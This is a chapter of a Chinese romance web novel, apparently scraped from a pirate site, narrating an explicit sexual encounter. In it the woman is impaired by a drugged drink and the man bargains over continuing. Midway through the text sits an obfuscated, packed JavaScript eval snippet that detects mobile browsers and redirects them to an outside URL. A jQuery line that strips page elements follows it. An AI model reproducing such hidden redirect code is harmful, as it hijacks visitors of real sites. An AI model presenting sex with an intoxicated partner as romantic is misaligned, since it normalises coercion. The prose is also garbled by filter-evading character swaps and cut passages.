靳樾从身上脱下自己的外套,严严实实地裹住她的肩膀,将人从车厢抱出。
参厘的体温太高,即使隔着衣衫,也像是抱了团火,靳樾垂眸看了她一眼,眸光沉了沉。
参厘也觉得自己现在这副模样太过狼狈,全程低着头靠在靳樾的怀里,脑袋埋进他胸口,只露出一小截因为发热而泛红的耳尖。
万幸,从地库到家门口这一路都没有第三个人出现,靳樾一边搂着她,单手输入门上的密码,推门,反锁,一气呵成地完成所有动作。
门锁落下的声音在寂清的夜里显得格外清晰。
靳樾摁着参厘的肩膀,将她整个人抵在门板上,厚重的木板发出一声闷响,就在参厘的后脑勺快要磕上去的瞬间,靳樾宽厚的大掌垫了过来,稳稳将其护住。
气氛热得像是一点就燃的干木,火星四溅,在靳樾吻下来的那一刻,轰然灼烧。
参厘仰着脸和他接吻,身体被桎梏在冰冷的门板和他滚烫的躯体之间,她的呼吸彻底乱了套,双手牢牢箍住他的劲瘦的腰身,他粗重的气息尽数压了下来,唇舌翻搅出的津液在耳边滋滋作响,靳樾吻得太重,参厘一时也招架不住,只觉得全身的骨髓都被抽走了,站也站不住。
“靳樾...”她的声音碎成了好几瓣,从碾转的唇缝里溢出来。
他还没来及回应,就听见一声清脆的“咔哒”声在潮热的空气响起。
......
他怔了片刻,脑袋瞬间浮现起她大一那年,两人窝在酒店里,她穿着宽松的T恤跨坐他腿间,后背塌下来,弯成一个柔软的弧度,两只手握着皮带上锁扣翻来覆去地看,皱着眉,一脸认真又茫然地问,“这个要怎么打开啊。”
靳樾低笑:“想知道?”
“嗯。”她轻点了下脑袋,那双亮澄的眼睛一眨一眨地望着他。
“怎么什么都这么好奇。”靳樾唇角微弯,手掌从她腰侧滑到纤薄的后腰,隔着薄薄一层棉质衣料,能感受到她熨帖的体温,他哑声问:“你想解谁的。”
参厘弯了弯眼睛,面容绚烂得像阳春三月初绽的海棠花,“放心,总不会去解其他男人的。”
他被这回答取悦道,唇畔扬起一抹明显的笑意,带着她的指尖去摸索到暗扣的位置,耐心地告诉她:“这里,按下去。”
多年前的求知欲在这一刻用武之地。
想到这,靳樾心头浮动,她在把当初他教给她的知识用在他身上。
玄关的感应灯亮起微弱的暖光,靳樾低头,盯着她那张红晕斑驳的芙蓉面,声调磁缓地问:“知道你在干什么吗?”
“知道...”参厘点了点头,声音沙沙的,因为太过难受,尾音还夹着若有似无的哭腔,眼里全是迷濛的雾气,她垂着后颈,脑袋抵在他颈窝,蓬勃的呼吸用力地喷洒在他皮肤上,呜咽地恳求:“靳樾,你亲亲我。”
“只要亲吗?”靳樾被她这番操作撩得全身绷紧,锋冷的下颌线在昏寐中连成一条利落的线,掐在她腰肢的手不自觉收紧了,薄唇贴在她的耳侧,嗓音带着粗糙的哑意。
参厘的身体还在发烫,意识在药物和热度的双重作用下变得模糊而迟缓,她慢吞吞地抬起脑袋,仰起下巴,鼻尖贴着他微凉的下颌。
...
她的眼泪落下来,水光黏在睫毛上凝成细碎的光点。
靳樾被她潋滟的眸光看的喉头一紧,她的鼻尖红红的,嘴唇也红得不像话,像熟透的樱桃,微微张着,急促地喘息。
他的理智也被一点点击退,抵不过她的哀求,下一秒,靳樾弯下腰,抱着人大步流星地朝身后去。
客厅没有开灯,屋外的白光从窗帘间的缝隙漏了进来,在冰冷的地板上投下细长的一条光带,玄关的感应灯悄无声息地灭了,周遭灰扑扑的一片。
靳樾的五官陷在大片的阴影里,呼吸也并不平稳,骨节分明的指骨从她的后颈滑下,贴着脊骨线慢慢落到了腰部。
仲冬都要过了,她也不知道哪里来的这么多汗,挨上去,手都快湿了。
...
......
靳樾垂眸,眼神沉甸甸地看着她,她正张着唇急切的吐气,眼泪挂在睫毛上将落未落,他抬手,替她轻轻拭去,问:“好一些了吗?”
“.....好像没有。”参厘双手撑在他宽阔的肩膀,下颚微抬,露出一张红透了的脸。
靳樾微微皱眉,看着她这副失了魂样子,眉目微沉,“到底喝了多少。”
“...不记得了...好像是两杯。”参厘脱力地倚在他怀里,混着香气的呼吸黏稠地落在他脖颈。她迷迷糊糊睁开眼,映入眼帘的,是靳樾身上纯白的T恤,可惜圆弧的衣领上被她唇瓣上的口红蹭地这儿红一片,那儿红一片,甚至脖颈上都有一个深重的吻痕,她盯着他凸起的喉结,喃喃道:“靳樾,你的衣服被我弄脏了。”
“没事,一会再洗。”他撞进她迷离的眼睛,单手掐着她的腰肢,语气轻哑,“还要这样吗?”
参厘咬着唇,没说话了。
夜色深重,窗外的天像是泼了墨般,却又在城市璀璨的霓虹灯彩反照下,黑的不够浓厚,灰压压的,点点薄光从窗口渗进来。
片刻的缄默散去,参厘的后背陷进柔软的沙发里,蓬松的卷发一股脑地铺开了,她的眼神莹润如水,像是刚从水里捞出来,上翘的眼尾被桃色染地撩人心弦,身上外露的皮肤被裙色衬得宛如牛奶,靳樾很少见她穿这样夺人眼球的颜色,她在荧幕前的气质偏冷系,平日也多穿浅色,但今天这身裙子却把她身材曲线全都勾勒得一清二楚,展现出了性感的那面。
靳樾看得喉咙一紧,在她期翼的目光里,低头吻上她的眉骨、鼻尖,下颌,慢慢下滑。
......
.....
......
窗外,月华如拣,静谧安宁,冷空气在薄凉的夜晚四处流窜。
......
昏暗里,靳樾单手撑在她耳侧的沙发靠背上,俯身看着她,
两厢对视,参厘红着眼眶,涕泪涟涟,瞅见他湿漉漉的唇和被水花打湿的下半张脸,反应过来那是什么,她瓮声瓮气地问:“你怎么也不嫌脏。”
他那么有洁癖的人,居然也愿意做这种事,她细眉皱起,一时间也说不出是个什么感受。
“不脏。”靳樾抓着她的手,一手穿着她的腰将人带起来侧坐在他腿上,嗓音潮涩:“好点了?”
说不清,似乎是没有,参厘想起小时候第一次吃芒果,因为不知道自己对它过敏,所以一口气吃了两个,吃完才发现嘴角四周泛起密密麻麻的痒意。
这时候,她觉得靳樾似乎也成为了她的过敏原,一旦挨上,从身体深处泛起一阵难娾的痒意,且愈发强烈,比普通的过敏症状更为严重。
参厘忍不住凑上去,亲吻他湿润的嘴角,尝到属于自己的味道,双手似藤曼般缠上他的肩颈。
靳樾也张开唇,放任她柔软的小舌游进来。
门铃响起的瞬间,接吻才戛然而止,靳樾俯身,吻了吻她颤动的眼皮,“先下来,我去拿个东西。”
“不行。”参厘下意识抓住他的手腕,唇瓣抿着,没有一点摇放开他的意思,那双水润润的眼睛无神地盯着他,委屈巴巴地问道:“你不管我了吗?”
“没有。”他怎么会不管她呢。
靳樾轻声,声线磁哑地哄着她:“我去拿个东西,很快回来,一分钟,好吗。”
参厘敛着眼睫,闷闷地应了声‘好’,可依旧舍不得放开他,他身上好舒服,有让人贪恋的味道,她咬了咬下唇,声音低落下去:“你快点回来,我不想等很久。”
“我知道。”靳樾伸手摸了摸她的头。
从客厅到玄关的距离很近,几步便走完,靳樾不仅没有超出既定的时间,甚至还缩短了,他从外送袋里掏出接下来的要用到的东西,方方正正的两个小盒子。
参厘躺在黑色皮质沙发上,迷蒙地睁着眼睛,生理性泪水将她的视野变得朦胧一片,好似飘着一层透光的纱,她瞧见靳樾手里握着一个粉白色的小盒子,心脏顿时重重跳了下,只觉浑身的热度更上一层楼。
接着,靳樾又当着她的面,双手揪起衣服的下摆,干净利落地褪去了上衣,他矫健的身姿陷在昏暗的光线里,轮廓散出一抹朦胧影绰的重影,她眨了眨眼,努力让视野变得更加清晰。
其实不用看,她也知道,靳樾的身材是极好的,因为常年运动,他的体脂率极低,属于穿衣有肉脱衣显瘦的类型,壁垒分明的腹肌下是线条清晰的人鱼线,宽阔的肩背因为绷着力看上去好像一座料峭山峦,充满力量感。
参厘还在盯着他看,靳樾却已经俯下身,二话不说,指腹捻起她的下巴用力地吻了下来。
“靳...”参厘话还没说完,就被他禁锢着,所有的言语都被卷进了口腔之中,在汨汨的唾液里被搅散打乱,吻得太过深重,以致于大脑都陷进了令人晕眩的缺氧中,那些来不及咽下的水掖就顺着嘴角溢了出来,荒诞地滑到了脖颈。
肩膀上那根细细的吊带不知什么时候断了,拥吻中,裙身被蹭地不断下滑,最后像形同虚设般溜到了她的肋骨处,露出大片润白的肌肤。
靳樾看得眸色翻涌,眉眼间掩不住的蜻愈像是翻滚的海啸。
......
参厘也没比他好到哪去,她感觉自己像是误吞了一个灯泡,过重的蛏幛感让她有些承受不住,她本能地想吐出来,却在挣扎间越吸越进,致使这亘异物成为了她身体的一部分,绷紧的小蝮控制不住地卷起一阵阵痉挛,彷佛全身上下的血管都在躁动。
参厘掐着他的臂膀,不停地叫他的名字,修长的脖颈仰起弯成一道脆弱易折的弧度,纤白的皮肤下依稀可见血管的浮现。
靳樾贴着她,慢慢地鼎上去,一边用相反的力度闯进她的牙关,她的舌头被他含进嘴里不停地翻搅吮吸,眼睛在双重颊激下不停地渗出生理性泪液。
......
意识变得浮浮沉沉,耳边响起一阵密集的咕噜声,像是水泡翻滚的声音,太响了,是谁在烧水吗,参厘来不及细想,可这声音越来越大,瞬间填满了整间空旷的屋子,不多时,沸腾过后的水竟然顺着壶嘴涌了出来,溅湿了四周的台面。
又过了会,屋子的主人终于意识到这一切,果断地拔除了电源键。
环在他后背的双手无力地垂下去。靳樾止了动作,借着薄浅昏昧的光线看清她洁白的脸颊上蓄着一团散不去的红酽,像火红的夕阳缀在山巅,乌润的眼睛失了聚焦点,嘴唇微微张着,他的心也好像软了,变成一汪望不到底的清泉。
沙发已经不能再躺人了,靳樾抱起她往卧室走。
在这期间,靳樾不停地关注她的情况,时不时问起她的感受,还是很难受吗,有没有好点,要不要喝水,参厘也不回答,只是缩在她怀里,不住地颤,下巴尖都是未干的泪痕。
靳樾看着她那副可怜巴巴的劲儿,心想,还是该补充点水分,就那么一会儿功夫,就开始嫌弃被自己弄湿的沙发了。
喂完水,靳樾摁着她,两人一块陷进那软白的被单里,窸窣的包装声不知响了第几遍,昏昏沉沉中,所有的感官都被他带动,鼻翼、呼吸、申体全被灌满了属于他的味道。
临到关头,靳樾蓦地停住了,他撑着臂弯,借着那点盏暗稠黄的壁灯看清参厘的状态,她眼眶微热,皮肤像是上了釉的汝瓷,眼框被蒙上一层透明的水光,眼角四周全是被欲气灼烧后留下的薄红。
他望着她,在她茫然不解的眼睛里,忽然很想问一问她:“参厘,发生这种事,为什么首先想到的是给我打电话。”
参厘浓密的长睫颤了颤,双唇紧紧闭着,她仰脸,视野全框进他那张峻冷的脸上,压根没想到他会在这种紧要关头逼问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494468|202407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她这句话。
她也不知道为什么,反正第一时间能想到的只有他。
可到了这会儿,真要开口又觉得难以启齿,说到底,他们之间已经丧失了那点用名分概括的关系了,他也没有一定要帮她的本分,可现在纠缠成这样,又该作何解释。
她倒是还爱他,可靳樾呢?当初她一声不吭地出国,单方面提了分手,也没给他任何挽留的机会,事到如今,她都不清楚在靳樾的心底,究竟如何看她,有没有恨过她,过去那些储存的浓情蜜意,在一千多个日夜过后,是不是也消损的差不多了。
从重逢到现在,他对自己的这些照顾和帮助,是不是都看在参戎的面子上。
参厘倔强地咬着唇,“我当时能想到的只有你,抱歉...我是不是不该让你帮我。”
靳樾听着这话,前一秒才被暖热的心还没来得及好好感受,下一秒就被一盆冷水浇了下来,他抬指捏住她的下颚,声音骤沉,“除了我,你还想找谁?”
“...没谁啊..”参厘收着下颌,小声道:“不像现在这样,总归还有别的方法吧...”
听到这回答,靳樾一时也不知是该笑还是气,他顶着她看了一会儿,忽然抽身,在参厘呆愕的目光中走出房间。
望着雪白的天花板,参厘眨了眨眼,洇湿的眼睫湿成一簇簇,她怔怔地看着空荡的房间,彻底傻眼了。他方才停顿的时间太长,本就让她心痒难耐,这会又一言不发地离开,她的心好像一瞬间坠入冰湖。
靳樾从客厅回来,就看见参厘卷着被子,弓着背默默的流泪,他眉心沉了瞬,捏着参厘的手机指骨用力攥着,他走过去,把人从被子里剥开,贴上她的后背,缓声问:“怎么哭了?”
参厘愣愣地扭头,对上他困惑的视线,“你不是出去了吗,怎么又进来了?”
靳樾开口解释:“我只是出去拿个东西。”
“...哦。”参厘轻声:“我以为你不想再继续了。”
靳樾举起参厘的手机放在她跟前,“微信把我加回来,加完再祚。”
听到这话,参厘蓦地瞪大了眼睛,她没想到靳樾居然会拿这件事来和她做交换,她忍着身体未散的躁意,抓起手机,在他步步紧逼的视线里解开锁,点进聊天软件:“微信号是什么?”
靳樾扫她一眼:“不是还记得我的电话号码吗?”
参厘:“......”
按照他的要求做完后,参厘举起手机屏幕递给他看:“满意了?”
靳樾扫了眼上面的界面,目光沉沉,没说话。
参厘有些害怕他会临时反悔,又增加什么附加条件:“你不会—”
话未说完,靳樾一把夺过她掌心的手机,没什么情绪地扔在一旁,随后倾身,从背后毫无预兆莊了进来,参厘被他萣得尖叫一声,后背弓起,只听见耳边传来一道压抑的声音:“不准拉黑,也不准事后删除,听到了吗?”
参厘呼吸一滞,汗水沿着下颌落在她纤白的脖颈,像块水淋淋的白玉,她难耐地点了点头,呜咽着说:“好...”
剩下的话就全都说不出口了,只剩下燥耳的融合声和咿咿呀呀的低因。
当满足感到达一定的阈值后,参厘感觉自己都要死过去了。
壁影将她白皙的皮肤染上一层朦胧的昏黄。
靳樾将她抱起,让她靠在自己的胸膛,伸手撩开她鬓边的湿发,看她红扑扑的脸颊,哭得太久,脸上布满泪痕,纤密的长睫被泪水沾得湿得一簇一簇,连带着眼尾都红着。
整个人像极了一滩被烤化了的奶油,连睁眼都费劲,只能无力地趴在他身上一抖一抖。连带着那团被积雨包裹的云团都在颤颤巍巍的抽搐,刺激得他不停想往里送,但看着她副累惨了模样,又竭力忍了回去。
这晚实在太过了,他倒是没什么,只是有些担忧她接受过度。
壁影的光垂下来,落在她细如凝脂的后背,两扇凸起的蝴蝶骨被掩在潮湿的黑发里,只能看见一点轮廓,他抬手抚摸着她的后脑勺,垂睨着将视线全部倾注在她身上:“要不要去洗澡?”
参厘侧脸贴在他胸口,听他鼓动的心跳声敲在她耳膜上,嗓音闷哑地回:“不要,好累,让我休息一下。”
靳樾也没想让她一个人进浴室,“我帮你。”
“等、等一会,我不想动。”
每到这个时候参厘就开始犯懒了,浑身软得连手也抬不起,什么都不想做。
但一想到两人项链的情况,他又问:“我先出来好吗?”
“别,就这样,哪都不要动,让我抱一会。”
忽然横生出来的依赖感让她好想就这样死死抓着他不放,但靳樾知道,每次结束,她都需要一场很长的aftercaer,以前她会一直缠着他,让他用力地抱紧她,再温柔地亲亲她。
现在估计是不太好说出口,但习惯还是这样,怎样都改不了。
即使参厘什么也没说,但靳樾还是将搂紧了按在怀里,低头去寻她的唇,轻柔地浅啄着,蜻蜓点水般一下又一下,等到她紧闭的眼睫轻微地颤了下,下颌不经思考地抬起,像是在主动迎合他的吻。
靳樾才终于含住她的上唇,温柔地撬开她的齿关,勾起那条软滑的舌极尽克制的亲。
只是没一会,不对劲的就来了,一股新生的酥麻在腹腔慢慢汇聚,参厘偏过头,羞涩地躲过他的吻,“别,别亲了。”
“怎么了?”靳樾看着她的反应,脸上浮现出几丝意味不明。
参厘咬着唇,整张脸全埋进了他颈窝,耳尖红得快要滴血,难耐地哼唧了声,声音轻地跟猫叫似的,落在靳樾耳中,就像是柳絮从他心尖飘过,他当即就明白了怎么回事,顺着线索去查,果然察觉到了那些让她不适的罪魁祸首。
他贴着她的耳垂,低沉的嗓音暗哑潮涩:“怎么这么闽赣,只是亲了几下而已。”
......